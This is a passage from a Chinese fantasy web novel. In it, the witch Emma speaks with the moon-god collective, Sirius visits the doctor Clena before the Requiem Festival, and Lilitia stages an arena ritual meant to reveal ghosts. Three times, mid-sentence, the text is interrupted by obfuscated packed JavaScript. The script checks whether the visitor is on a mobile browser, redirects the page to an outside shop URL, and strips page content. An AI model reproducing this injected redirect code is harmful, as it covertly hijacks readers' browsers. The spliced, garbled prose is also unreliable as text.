“我们分离出来的部分,不足以支撑建立一个单独完整的灵魂,需要寻找与我们契合但缺损的灵魂,以我们分离的部分将之补全。 “因为你人类的灵魂几乎破碎,我们补足你时,属于‘我们’的部分就格外多一些。 “这对于你的性格和感知能力确实有所影响。你似乎为此很困扰,抱歉。 “但请不用太介意,对我们来说,你是完美的。” 艾玛看了那颗星星一会儿,说:“你还记得奥辛莱特吗?” “当然。”祂说,“我记得你们每一个。当你们作为个体消亡时,又会回到我们中间。我们不分彼此。” “……这个问题确实多余了。”艾玛压了压额角,“‘你们’全知全能,通晓一切,命运之河就像你们的生命活动。时间在你们之中,你们没有遗忘的概念。” “是的。我们记得,甚至记得我们意识诞生之前发生的东西。 “我们知道这世界的全部,我们能做到任何事。只是,除了涉及自身生存状态的事项之外,我们不具有要去完成某件事的‘欲望’。 “但这一点上,你与我们不同。” “刚才,‘我们’和那个人对话的时候,你关闭了自己的意识。我不能理解。”星星说,“你对他具有‘欲望’,但你试图否认。 “你因为不了解他而感到恐惧,但‘我们’知道他经历过的一切。只要你向我们询问,我们可以告诉你任何你需要的信息。 “你拥有使用我们的权利,但你选择拒绝。” “……我想要了解有关他的事情。”艾玛固执地,低下了眼睛,“但我希望是他亲口告诉我,以人类之间交流的方式。而不是女巫的方法。” “你过于在意自己人类的身份。正因为你知道自己不同于人类,才会如此强调。甚至于,你不愿意承认自己等于我们。” 星星的光变暗了片刻,仿佛也因为困惑沉默,“对于我们之间的关系,每一位女巫都有不同的看法。那是你们的自我定位,你们对自身‘个体’的定义。我们接受这种定义的差别。 “‘女巫’是我们的‘可能性’,你们的思考,困扰,决定,对我们都有价值。 “我们观察你们,就像观察我们自身存在某一种可能性的形态。” “但是,你的行为和想法割裂,自相矛盾。 “认知上,你拒绝接受我们;行动上,你在让自己靠近我们。并且,这种矛盾在阻碍你得到你想获取的‘力量’。” “……我知道。” 艾玛伸出手,抚摸自己心脏所该在的位置。 那只手穿过胸口,直直没入,却什么都没有碰到。 这是她的内心,不具备实体。 而她在内心中构建起的自己,心脏的位置空空荡荡。 “……我再清楚不过。”艾玛低低地说,“就像你本身,其实没有天空中看见的那么明亮。我们都只是反光的镜子,借助他者的光辉塑造自己。” “我想到过母亲。她确实爱我,尽她所有的能力,因此我能爱她。 “但她自己所不具有的,她自己也不曾得到的,无论她再怎么努力,也没有办法给我。 “可是,西里斯——我知道,我能看见,他具有我期待的,我缺损的部分。 “他会补全我,他可以补足我作为‘人’的缺失——给予我不曾得到的东西。 “所以我这样地……害怕失去他—— “害怕毁掉他。” 星星长久地沉默。 艾玛在膝上收拢手臂,更深地将自己埋下去。 她问:“你要劝我吗?” “不。”月神说,“‘我’是‘你’,‘你’也是‘我’。‘我们’是一体。 “我知道你所有的想法,你也知道我会给出什么样的回答。 “我所说明的,不超出你已经得知的限度。 “这里的一切,都只是你在自问自答。我们没有主观情感,不会表达出你思考以外的意见。 . “你是我们的女巫。主动权在你。 “如何选择,怎样使用,只有你自己能给出答案。” 134.安魂祭 “安魂祭?” 克蕾娜愣了一下,从桌面的文件抬起头,抓了抓脑袋:“啊——对,是有这事来着,在这个月底。你听说了?” “嗯。”西里斯问,“在这里是重大的祭典吗?” “呃……怎么说,原来是叫‘安魂节’的,祭奠逝者的节日,很多地方都有吧。不过阿瓦托芬这边,这个日子的氛围不那么沉重。 “主要是‘祝福和怀念逝去的人’,宣扬‘每个人的生命都有走到尽头的一天,不必过于恐惧死亡’,也算是叫人珍惜生命享受当下吧? “不知道怎么变着变着,就办得热闹起来了,添了好多活动,还很受欢迎。后来直接改成了‘安魂祭’,规模大了很多。我来之前就这样了,也不太清楚过程。” 克蕾娜想了想,晃晃手里的笔比划:“不是有那种‘安魂节的时候,鬼魂会化出实体,混到人群中’之类的传说吗?罗穆卢斯也有这样的说法,长辈都告诫我们安魂节附近少出门,尤其是晚上。 “有闲得发慌又比较不信邪的少爷小姐,还特意挑这日子办鬼故事沙龙,我有去参加过。总之被大人发现的话就要挨骂。” “你相信鬼存在吗?”西里斯问。 克蕾娜拧眉思虑一下:“这个世界上有很多没法解释的事。既然有魔法这类解释不清的东西,我想也有鬼吧。但相对的,世上也有神啊。 “我还是相信既然神存在,那么因果和公理也存在。有没有鬼对我来说无所谓。小时候好奇心比较重,只是有点叛逆又以为好玩,现在我是不爱凑这种热闹的。” 西里斯向办公室里的衣柜侧边看了一眼:“是吗?我以为你衣柜那边挂的那套礼服,是你安魂祭要穿的?” “啊,那个是我同事暂时放这边,说要给人个惊喜什么的……”克蕾娜也看了一眼,“还是喜欢热闹的人多嘛。” “你不打算参加?” “嗯?嗯,我没兴趣……十月底很忙啊,也快开始新年的准备了。那些换装舞会、游行演出,还有逛街什么的,都太耗体力了。 “安魂祭三天假,我有一天要值班,剩下的还是拿来休息好,补补觉。” 克蕾娜说着,打了个哈欠。 看西里斯似乎若有所思,克蕾娜在工作里疲劳得迟钝了半拍的脑子才回过神,想起这人也一样是不爱热闹的类型,很少见问起这类活动。 “你问这个,是安魂祭有什么安排吗?”克蕾娜匿了半句,这次有意克制住没有提艾玛,心里轻轻地为自己增长的情商和人际关系理解力高兴了一下。 她知道艾玛在筹备誓约礼的事。 艾玛近来很忙,克蕾娜几乎没见过她。 偶然碰见一次,也只是些常规寒暄,问到西里斯时,也像是顺带的客气和关心。 西里斯也几乎没提她,和克蕾娜聊的大都是病例和药物知识。 克蕾娜虽然不理解他俩的情况,但氛围还是看得出来的,也深谙不要过度干涉他人情感问题的道理,免得越帮越忙。 他俩都不提对方,克蕾娜也正好不提,反而轻松。 “还没有……”西里斯捏了捏手里的卡片,“暂时。” “说起来,你手上这个是什么?刚刚就看你拿着的。”西里斯没有刻意避着她,克蕾娜也就探过头自然地看了一眼,“邀请函?也不是信,就一句话……写的什么?” “你看不懂?”西里斯看了她一眼。 克蕾娜摇摇头:“这明显不是通用语吧!看不懂。我外语不好,也不会翻译法术,得用魔法石才行。字好像还行,你哪里拿来的?” “确实是邀请。”西里斯垂眼,目光再度从卡片上的文字掠过,“出门的时候捡的。” “啊?捡的?那不靠谱吧,你小心点,说不准是恶作剧。谁那么无聊?” 西里斯盯了文字片刻,翻过卡面,将有字的那面扣在自己带来的书上,对克蕾娜道:“我听说安魂祭的时候,圆形竞技场会有活动。” 克蕾娜困惑地皱眉,显然花了点时间回想:“没有这样的惯例……啊,利利提亚今年好像是申请了圆形竞技场的使用权……可能是巡防营要用?” “大约是安魂节前夕那天晚上安排了演出。你去看吗?” “这样?不清楚。最近没怎么见过他,他也没跟我说,懒得管他。”克蕾娜摇头,“我虽然对鬼没什么想法……但还是觉得这日子怪阴森的,不适合庆典一样过得太热闹…… “也可能是罗穆卢斯没这种氛围传统,我不适应吧。比起看演出,我还是想待在寝室休息。” 西里斯安静了一会儿,说:“嗯,谢谢你,克蕾娜。” 克蕾娜愣了一下:“不客气?我也没说什么……” “你帮了我很多忙,我很感激。”西里斯看着她,目光温和,“你是个很好的医生。我很高兴能认识你。” “呃?诶……不是,等一下,怎么突然?这么正式……”克蕾娜一阵茫然,有点不知道手脚哪里放,不太好意思地摸了摸脖颈,“啊……那,那个,我也很高兴认识你……?” 西里斯笑了笑,从座椅上起身:“我还有点事,先走了。再见。” “啊,好的,”克蕾娜莫名停顿了一下,还是对他挥挥手,普通地告了别,“再见。” . . “你要表演节目?” “可以这么说吧。” 艾玛看了他一眼:“真意外。除了工作需要,我以为你不喜欢参与这种活动,更不要提主动申请。有什么原因吗?” 利利提亚笑道:“您猜猜看?” 艾玛思索片刻:“有什么想尝试的事,只有借用那边的场地才能做到?” “不愧是您。”利利提亚点头,“差不多就是那样。圆形竞技场的场地足够大,并且设计上就便于布置法阵,还有增幅效果。” “什么法阵?” “一个很——早以前的构想,忽然想做成现实看看。” 利利提亚随意地用双手比划了一扇窗户,从手指间的空隙望着空空的远方:“我虽然一直能够看见鬼魂,但没法让别人也看到。 “最早被斥责拿鬼魂的事开玩笑的时候,我就想,要是能让他们拥有我的视野,他们就会相信了。 “不过当时年纪太小,不会用魔法,后来也早没有还为此在乎别人肯定的兴致。 “但是,最近啊,我想——起码,我想让您看看。” 他合拢了双手,望向她:“——看看我所看见的,是怎样的东西。” “这么一说,我也有点兴趣。”艾玛微微诧异,想了想,“那么,你的法阵成功了?” “很顺利呢!或许是想实现这件事的愿望太强烈,心诚则灵嘛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654440|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “议会那边怎么说?”艾玛道,“神谕祭司的身份在申请上能给你很多方便,但申请节日期间竞技场的开放使用权不是小事。” “我向议会做了演示,搭建了一个同类小型法阵,从阿瓦托芬的监狱里抽取了几位幸运试验者。 “他们一走进法阵里——在场的所有人,包括试验者自己,都清楚看到了他们身上鬼魂的形体。” 利利提亚有些遗憾地压了压眉,“不过看见之后,就用对应的法术道具把鬼祛除了。魔法师倒是不缺乏杀死鬼的方法,从来更困扰的只是看不到。但对于那些犯人来说,有点便宜他们了呢。” “你向议会也解释了你能看见鬼的事?” “不,做到那种程度就是在给我自己添麻烦了。”利利提亚耸了下肩,“传统的通灵师古来也有让人类看见鬼魂的法阵和道具,但大都有很多苛刻的限制条件。 “我对议会说,我从那些典籍资料里得到了灵感,改良之后设计了这个法阵,但不是谁都能用,目前还是只有我操作得了。 “又刚好安魂祭将近,举办这样的活动,到时候请一些观众走进法阵,替他们消除身上的鬼魂,既有节日氛围,也算日行一善,对吧?” 艾玛说:“印象里,你也没这么好心。” “议会持相同意见。”利利提亚叹气,“哎,真让人伤感,共事这么久,他们还对我抱有这样的刻板印象……” “大概是因为共事久了才会有这样的印象。” “嗯……不过也没事啦。”利利提亚转瞬又换上一张明朗的笑脸,“至少我在阿瓦托芬目前履历清白,遵纪守法,尽职尽责。他们得给我面子的。” 艾玛看他片刻,收回目光:“也是。” “所以——您会来看吧?”利利提亚说,“我会为您预留最好的坐席。其他有多少观众都无所谓,但如果您缺席,整场演出都会黯然失色的。” “确实机会难得。”艾玛忽然想到什么,打量他一下,“说来……那个法阵,如果站在其中,会让身上的鬼显形,那你身上的鬼也会被看见?” “我的情况不太一样。鬼是我的一部分,不像那些附身的鬼一样具有独立意识。 “被我吞噬的鬼,都是被消化之后才跟我融合的。我自身内部的意识统一,跟身体的连接正常稳定,法阵对我没有刺激性,别人看起来不会有异常。” 艾玛若有所思:“圆形竞技场的法阵范围不囊括观众席。你不想暴露自己一直能看见鬼的事,那要怎么选择观众?” 利利提亚笑一笑:“我向议会演示时,抽调的是犯过杀人罪的囚犯。这类人被鬼魂附身的几率本就很高。 “我选人的时候,故意挑了有鬼魂附身,和没有附身的。这样就将选择的结果归因于概率和运气。” “议会就相信了你的说辞?” “是呢。魔法师有判断谎言的直觉,议会更不缺乏分辨真实性的道具。” 利利提亚望着她,微微弯起眼睛:“我是个擅长说谎的人。女巫殿下。最好的谎言是只说半句真话。” 艾玛说:“你回避了我的问题。你没有解释怎样在安魂祭的演出上挑选观众。” “我不会对您说谎,所以我没有回答。”利利提亚微笑道,“提前揭开所有谜底,不就太无趣了吗?请您来亲眼看看吧——答案不会让您失望。” 135.序曲 安魂祭共举办三天。 第一天是安魂节前夕,被认为是鬼魂到来的时刻; 第二天安魂节当日,传说亡魂这天会停留人间; 第三天有许多仪式送别鬼魂,祝愿逝去者安息,生者回归日常。 许多地区的亡魂节都大约是十月末这个时段,波克奈利王国也是。 艾玛对小时候的安魂节还有点印象,她和母亲的安魂节只有一个夜晚。晚餐之后,父亲难得不会对她们做什么命令,家里安静得让人自在。 母亲将她攒着的一支蜡烛点上,交握双手抵在唇边,絮絮低语着,向过世的亲友讲述境况,祈求月神善待逝者,照拂生者。 艾玛坐在坚硬的床沿,在深秋的夜晚里抱着双膝,蜷成一团取暖,觉得蜡烛的火光太遥远也太微弱。 外面的街道上有人焚烧送给逝者的物品,有人哭泣,有人静默。 艾玛自小不太相信天堂地狱之论,觉得若世上的人死后都有同样的归处要去,那天堂和地狱一定比人间更拥挤。 死亡如果不是终点,对活着的人和死去的人来说不都太残忍了吗? 母亲没有责备只是盯着火光一动不动的艾玛,祈祷完后奢侈地放置着蜡烛,任它燃烧到桌面熄灭,留一摊冰冷的蜡油给明天。 她打开被窝,将艾玛抱进怀里。 母亲的体温很温暖。 母亲说,艾玛不明白这节日的意义是好事。 她有时想向艾玛讲她那些已过世朋友的故事,但说起的时候就好像他们在言语中短暂活过来一样,恍如惊扰了死亡上的灰尘。 有人说,只要一个人被记得,那人就仍然活着。她不知道记得他们是不是好事。 他们生时大都不幸,如果被人记得会令他们死后也不得安宁,反而是他们苦痛的延长。 艾玛在失去那个怀抱的温度后,才逐渐懂得这话里的含义。 安魂节是属于生者的节日,只有活着的人才需要背负逝者的重量,不得不留一些念想慰藉痛苦。 现在艾玛对鬼魂的了解更多,看待安魂节也有了些变化。 三天里,阿瓦托芬最热闹的是安魂节前夕,街上有琳琅集市,居民们奇装异服出行,要是真有鬼魂混进其中,可能反倒是外形最普通的那个。 艾玛没有特别做什么夸张的打扮,只是自从答应誓约礼之后,文礼司就时常有人围着她转,如今她各个式样的服装是一件不缺了。 “女巫来到了阿瓦托芬”已经是城里众所周知的事。只是誓约礼之前,艾玛不打算向公众大张旗鼓地露脸刷存在感。 在街上闲逛是没这样的机会了。参加圆形竞技场的演出算是出席公众场合,文礼司的职员一接到行程消息,立刻向艾玛预约了安魂节前夕下午的时间以准备妆造。 艾玛觉得她们未免太紧张,将来也不能要出门就得天天这么过,示意简单些就好。 在别人帮她整理裙摆的时候,艾玛在下午朦胧的日光里走了神。 安魂节将至的时候,周围的魔力环境似乎没有太大的不同。 作为女巫,她仍然感知不到这个日子具体的异常。 利利提亚挑在这一天,西里斯临近安魂节时会头痛加剧。 对于能看见听见鬼魂的人来说,想必这时段确实有什么特殊之处。 想到西里斯,艾玛的思绪停顿了一会儿。 她最近没有去找过西里斯,这大约是有意的。 她也分明清楚,安魂节会对他造成负面影响。 或许是整理不好的情绪全都搁置,让她更想不明白该怎样和他相处;或许是她觉得,就像西里斯自己所说,他早已习惯那些噪音,即使艾玛不在身边,他也能够应对。 西里斯一直很可靠。 他说没问题的事情,他向来能自己解决好,从不需要艾玛挂怀。 心脏上那道契约所连接的细线寂静,反而让艾玛有些烦闷。 她从前也见西里斯受过伤,契约的联系一样毫无反应。 除非一方的性命受到极大威胁,接近濒死,那连接似乎是不屑于在这种极端情况以外的时刻给予反馈的。 它只能告诉你:你的契约对象目前活着。“活得怎么样”这种细节它不关心。 但艾玛想知道的就是这些细节,最好能更细些。 或许所有这些疑问,只要询问月神,就都能得到解答。 但越过那一线,承认某些事,意味着向祂交付某些东西,代表着“自我”会因此改变。 那么现在的心情,所拥有的一些不愿舍弃的东西,也会随之消失。 艾玛恐惧那种改变。 上一次,祂和西里斯单独谈话的时候,说了什么呢? 西里斯自那之后没有来找过她,说不准也有祂那些话的关系,会吗? 艾玛觉得它们不至于成心给她添堵,它们没那么人性。 那要是就因为没那么人性,它们反而说错话了呢? 艾玛无意识地摸了摸心口。 在一片繁杂、吵闹,越理越乱的思绪中,不愿意细认的模糊想法里,艾玛隐约想道,她大概是希望西里斯主动来找她的。 仿佛这道想法触碰墙壁产生的回音,梳妆间的门板上叩响了三下。 她回过头,看见西里斯正站在门口。 . 艾玛下意识从椅子上站起来,惊了为她梳妆的文礼司职员一跳。 心跳加快了节奏,密密的,像散落的雨声,血液流速变化的热度有些恼人。 艾玛想,真糟糕,她也不想失态的,可是下意识的反应控制不了。 “还在忙吗?”西里斯看了看房间里的其他职员。 “已经好了。”艾玛说。 神殿的职员们不少对西里斯的存在稍有耳闻,对此人的身份定位也有些相当大胆的遐思和猜想。 向来冷静的女巫殿下竟露出这样的反应,更让人觉得背后确有八卦可挖。但信徒们还不至于敢议论女巫的情感问题。 在场职员间暗暗互相交换了意味深长的眼色,非常识趣地行礼告辞了,只有还没完成剩余装饰的造型师拿着饰品有点不知所措。 艾玛扫一眼,接过她手里的装饰,造型师懂了,造型师很快跟着同事们走了。 职员们离开房间时,有的没忍住好奇心,多看了西里斯两眼。 女巫殿下近同于神,许多人甚至不敢直视她。但她的情人再怎么也还是个人类,不知道有什么出彩之处能被女巫看上。 看了也更感到好奇,有人暗自比较,觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662915|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神谕祭司的美貌公认,应该是比这位好看的。 西里斯对这类目光不置可否。比起误不误会,省心对他向来更重要。 “我其实可以等你。”西里斯对她道。 “啊……没有。她们做的装扮太复杂,我其实觉得不必要,这样差不多了。我刚刚也只是在发呆。”艾玛说话时有一点生涩的僵硬,“你是怎么找到我的?” 西里斯点了点自己的心口。 很小的动作,但艾玛心里一动。 “虽然不太用,但契约的联系还是能做到这种小事的。” 艾玛也碰了碰心口:“是吗……我好像没法反过来定位你。或许是因为不记得那份契约具体文字的关系,我对它的部分触觉有点模糊。” 西里斯的目光闪动一下,低了低视线:“或许是的。有机会的话,我之后写给你看。” 艾玛嗯了一声:“那你今天,是来……” “我想你今晚会去圆形竞技场,就想和你一起过去。”西里斯说。 艾玛停顿一下,犹疑地望他:“……你知道那里今晚演出的内容是什么,以你的情况……” “上次去那里看演出的时候,我注意到那里的法阵范围不会影响到观众席。我只是看看。” 对于“能看见鬼魂”的法阵,西里斯有所好奇也很正常。 艾玛想想,点了点头。 现在时间还早,从这边到竞技场用不了那么长时间。 可以吃晚餐,但这对西里斯来说是个无效话题。艾玛实际并不饥饿,先前也吃过其他茶点。 房间里一时又静下去。 艾玛坐回椅子上,想做一些活动来免于无话的尴尬。 她打开裙摆,看着手心里的装饰,突然想起自己对打扮的事其实不上心,全然不知道接下来没完成的造型部分要怎么处理。 她刚才还不在乎打扮,但一想到西里斯在旁边看,却忽然生出了些许自查的紧张。 或许是让文礼司的人走得太早了。 她有一点懊恼地想。 有些半完成的部分,艾玛干脆拆下来,直接废掉看着还清爽了些。 她对着镜子思索一下,从镜子里看见西里斯走到她背后。 他越过身看梳妆台面上的饰品,点了点其中一条项链:“这条吗?” 艾玛点头,西里斯解开项链上的锁扣,撩起她的头发,绕过脖颈帮她戴上。 细细的银链落到锁骨上,微微发凉。 他忽然说:“我最近想起,我们在沙漠里遇见的那个孩子。” 艾玛愣了一下。 自来到阿瓦托芬之后,西里斯少有今天这么主动,无论是行为上,还是开启话题。 “你或许是对的。”他说,“我没有审判他人的资格。那孩子有他自己的人生,会有其他可能性。谢谢你救下他。” 锁扣在艾玛颈后咔嗒合上,西里斯松开手,退后一步:“好了。” 艾玛回过身,看着他,张了张口,一时间不知道说什么。 西里斯的表情平静,仿佛刚刚的话语只是谈论天气。 良久后,她看着西里斯说:“没关系的。” 西里斯停了一会儿,视线下落到地上。 “嗯,我知道。”他说。 136.入场 圆形竞技场今晚的公演具有特殊性。 “能让所有人看见鬼魂,替人驱除鬼魂”的表演前所未有,又趁着安魂祭的热闹,许多人想前来一看。 但正因为其前所未有,议会最终要求控制规模。 上座率限制在竞技场最大容量的五分之一,所以临近演出,基本已经就位的坐席区看着也还是空旷。 门票大半优先向神殿内部的职员开放,也向城中送出部分。 所有观众事前都经过神殿人事管理审核,谨慎得让许多人意外。 利利提亚却没被这些明显的警惕与约束影响兴致,对议会提出的要求全都毫无反对,还贴心替他们补充:将观众年龄限制在十四岁之上,免得让心智未成的孩子惊吓梦魇。 . 卡珊卓来过圆形竞技场几次,和家人一起观看演出。 她讨厌等待,不喜欢早于开演时间太多到场,那些时刻往往坐席已经拥挤喧嚷,穿过过道也费劲,不像今天这样轻松。 视线所及,德丽克丝已经坐在座位上,举起酒瓶笑着向她晃晃。 她啧了声,走到德丽克丝边上坐下,迅速的动作透着几分用力与不快。 “今天早到了。”德丽克丝不在乎她的小情绪,对瓶喝了口酒,从衣袋里摸出一盒卷烟,“——别着急拒绝,我知道你戒了。 “这是医疗部那边新做的小玩意儿,安神用的,不成瘾,小孩也能点着玩。要打火石吗?” 卡珊卓冷笑一声,抽出一支拿在指间,翻转两圈看了看。 “我还能害你不成。”德丽克丝耸肩。 “准备很全,真放松?你真心看演出来的?” “不然呢?难得的新节目,要给年轻人表演机会嘛。” “不能阻止他办,就亲自过来盯着。外面一圈可不少巡防营的人,对他们,你的话比那小子管用。哪里像来安心看表演的?” 卡珊卓把烟尾咬进嘴里,皱着眉擦了两下打火石。德丽克丝的打火石旧了,一时不太灵光。 德丽克丝笑了笑,也从烟盒里给自己摸了一支:“你不也不放心。” 卡珊卓拧着眉心,一下下擦着打火石:“图伦不关心,罗伯特不管事,斐勒想避嫌——避个锤子,没一个顶用的。 “梅兰特说不忍心在圆形竞技场看见这种表演。她嗓子近来越发差了,一直都早休息。后六席看他们自愿,搞得真没几个人来。 “脑子正常的人都不想在这种日子看见真的鬼,没脑子的另论。” “是啊,我也真看不懂了。那小子到底在想什么呢?” 德丽克丝若有所思地夹着卷烟,动了动手指,“监察骑士那边,不仅费鲁南特和哈瓦娜一直参与,也让贝拉和佩洛亚都去看过,他们说法阵布置正常。但具体的设计细节,除他以外别人都看不明白。 “以前也有在这里做实验的魔法师,安全起见,法阵的布置范围都要求不能影响到观众席及之外,出什么事,外面的人都赶得及。” 德丽克丝说着,手指慢慢地搓着烟卷:“他对巡防营的军权控制,议会早分割得很明白,他当然清楚,也从不拒绝被提防,更不见得就在这个节骨眼上突然发了善心。执意做这种事有什么好处呢? “这么多双眼睛盯着,真出了什么问题,他逃不了一点责任。卡珊卓,你说他是蠢吗?” 她向卡珊卓望过去,看见她点着了打火石,也伸过自己那根烟。 卡珊卓点上自己的就把打火石灭了,哼一声把石头扔进德丽克丝怀里,夹着烟卷吸了一口,确实不呛人,烟雾里漫开药草怡人的香气:“他不是蠢,他那是疯。” 德丽克丝咂嘴,轻轻叹气,捡起打火石:“我以为你还挺欣赏他。” “你没当过贵族,德丽克丝。”卡珊卓说,“我对他的警惕不比你少。所以我更知道,他那种人,猜太多没任何意思。只能他说什么,你接什么,真出了事就认倒霉。” “没任何办法?” “没任何办法。”卡珊卓点掉烟灰,“想保护点什么东西总是太难了,但疯子可以没有负担地扔掉任何东西,跟他们哪里斗得赢。 “你们又那么相信指月石的意思,那你们信吧,神给你们点出的人要是疯了,你们只能跟着哭。 “看看外头的烟花吧德丽克丝,事已至此高兴点算了,运气好还能虚惊一场。还有,你那打火石赶紧扔了,难用得要命。” “哦,”德丽克丝遗憾地擦了擦仍然没点起来的打火石,“这是我女儿送我的。” “让她给你买个新的。” “她两年没理我了。” “那你活该。” 德丽克丝最后试了一次,仍然没点起来,又叹口气,把打火石收了回去。 她们的坐席在首排,德丽克丝望过去,正好见到斜对面首排坐席上,艾玛正在入座。 卡珊卓也注意到了那边的动静,但别过头当没看见。 德丽克丝用胳膊肘拐了拐她,被卡珊卓狠狠在手肘打了一巴掌。 “去向女巫殿下打个招呼?”德丽克丝用眉毛比划方向。 “不去。你爱跪你跪,我膝盖疼。” “年纪大了要注意风湿哪,我说你该多运动……”德丽克丝刚站起身,又看到艾玛身边的西里斯,有些意外地想一想,又坐下了。 卡珊卓奇怪地看她一眼:“突然膝盖也疼了?” 德丽克丝拿起酒瓶,叹气:“不打扰年轻人的情致了。” . . 荷尔贝拉走进观众席,跟在艾玛身后,站在围栏边时向着竞技场的舞台看了一眼。 内场空旷,法阵阵脚的魔法石隐蔽在看不见的位置。 “安魂节前夜的表演布置很简单”,她早前就听哈瓦娜提过。 多得了些空休息,哈瓦娜本该高兴的,却在跟她讲述时也透出一种忧虑的困惑。 比起说简单,其实几乎就是除法阵之外没做什么布置。 但利利提亚向文礼司定制了一套礼服,甚至主动对设计做了些要求。 他难得在这方面上心,文礼祭司柳德米拉也意外了一下。 自艾玛答应誓约礼,意味着女巫将要即位,神殿的各项事务也要逐渐对接到她手上。 荷尔贝拉作为跟她最熟悉的监察骑士,普遍被认为性格稳重,工作能力优秀,辅助交接的责任理所当然由议会交给了她。 所以荷尔贝拉近来也忙于穿梭各处,替艾玛处理事情,轻骑兵队的工作告了不少假,神谕祭司那边的职责也主要落在其他监察骑士身上。 但她仍然见过利利提亚几次,总是有他人在场,甚至在艾玛身边。 利利提亚向她招呼的时候便会笑一笑,礼貌而客气。她感到陌生。 预定时间还没到,利利提亚还在候场,而她正在观众席上,坐在女巫身边。 这不是她习惯待在的位置,荷尔贝拉对此陌生而恍惚。 圆形竞技场没有穹顶,高处开阔,远看像一顶反向打开的伞。 罗穆卢斯的大竞技场却正相反,越向上越收拢,铺着片片玻璃,只有顶端正中心留着一个空心的圆。 荷尔贝拉去过那里很多次,作为侍女和陪同,站在候场区的拱门前等待。 圆形竞技场的候场区也有形制相仿的拱门,她前几天来确认演出布置时看见过。 德丽克丝问她有没有发现什么不寻常的事情,同样的问题,想必她也问过其他人。 她说,没有,一切正常。 荷尔贝拉一如往常地低下眼睛,她向来不习惯和人对视着说话,德丽克丝不为这点见怪。 她的回答与其他监察骑士相同,没什么值得疑虑。 只有荷尔贝拉自己知道她开口时喉咙干涩,背后交握的双手收紧。 利提亚说:贝拉,你要学会说谎,谎言是一种保护,不值得愧疚。 ——母亲问起你知不知道我溜出门去哪里的事,你又不想骗她,那就别正面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667321|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答。把完整的事实断开,只说不危及你的部分真话。 ——你觉得这样不算说谎?那很好啊。 连你自己都这么认为,别人不就更没法发现,那其实是句谎话了吗? . 圆形竞技场的场地空旷,没有什么危险道具,法阵试启动过,走进去没有感到任何不适。 荷尔贝拉所看见的和其他监察骑士一样,一切正常。 她只是,比他们了解利利提亚更多一些。 那是因为熟悉而产生的直觉。 没有根据,不讲道理,没法解释给任何人听。 但她知道。 . 场边的灯一盏盏亮起,时间到了,观众席上零碎的交谈声寥落下去。 利利提亚从候场的拱门走出来,横穿内场,走到舞台正中。 光线明亮,许多人能看清他的打扮,发出许多含义不同的惊呼。 他穿着一身黑色的礼服,服饰设计正式不失轻盈。往常披散的银色长发束起,戴着一对轻巧的耳钉。 最引人瞩目的,他握着一柄巨大的银镰刀,站定在场地中心时,刀柄垂直落到地上,整柄刀的长度比他自身都高。 “晚上好,各位。”利利提亚抬起挂在颈边的扩音石,微笑地说起开场介绍,“感谢你们今晚来到这里。” . 荷尔贝拉看见他走出来,一步一步,每一步都让她心脏收紧,似曾相识。 上一次,她记得上一次,产生这样的感觉,是什么时候。 尤利乌斯·利提亚十九岁的生日宴,规模盛大,请了大半个拉文纳郡的上层名流。没有贵族敢不给如日中天的尤利乌斯家族面子。 更遑论这位未来辉煌的继承人,就算当上下一届执政官,也已经是没人会觉得稀奇的事。只不过罗穆卢斯过去最年轻的传奇执政官即位时十七岁,这项纪录他是不能打破了。 熙熙攘攘的宴席上,人们便理所当然地谈论着这些话,乃至尤利乌斯成为下一个执政官家族之后,国内的局势与贵族间的生意往来,仿佛一切假设都是已经落定的事实。 在这种理所当然之中,宴会的主角踩着谈论声,从宴会厅的长阶上走到高处,一步一步,站定在台阶顶端。 “晚上好,诸位。” 荷尔贝拉站在台阶底下,和其他宾客一样,仰起头望他。 应当是普通的东道主致辞,无人觉得奇怪,甚至有人抬起酒杯回礼。 但荷尔贝拉看着他,觉得心跳很快,心脏像在喉咙里那样反胃地跃动。 “虽然很突然,但我要在这里宣布一件事情。” 他的眉眼熠熠,在水晶吊灯的光彩下,漂亮得令人目眩。 “我将从今天开始——脱离尤利乌斯家族,放弃姓氏,离开罗穆卢斯。” 有那么一瞬间,热闹的宴会厅完全寂静了。 而利提亚仍然笑着,向他们举起酒杯,声音从穹顶轻盈地落下,清晰得几近残忍。 “感谢各位的到来,祝你们有一个愉快的夜晚。” . . . 她见过利利提亚参与阿瓦托芬守卫战的着装,和平时没什么区别,腰间的武器也只是随便带了一把,这身用心的黑色礼服比那时更像适合战斗的形制。 荷尔贝拉握紧了双手,手指僵硬冰凉。 心跳得令人难受,不安让她想要后退,想要离开,但她却仿佛被钉在座位上,目光完全无法从他身上偏移。 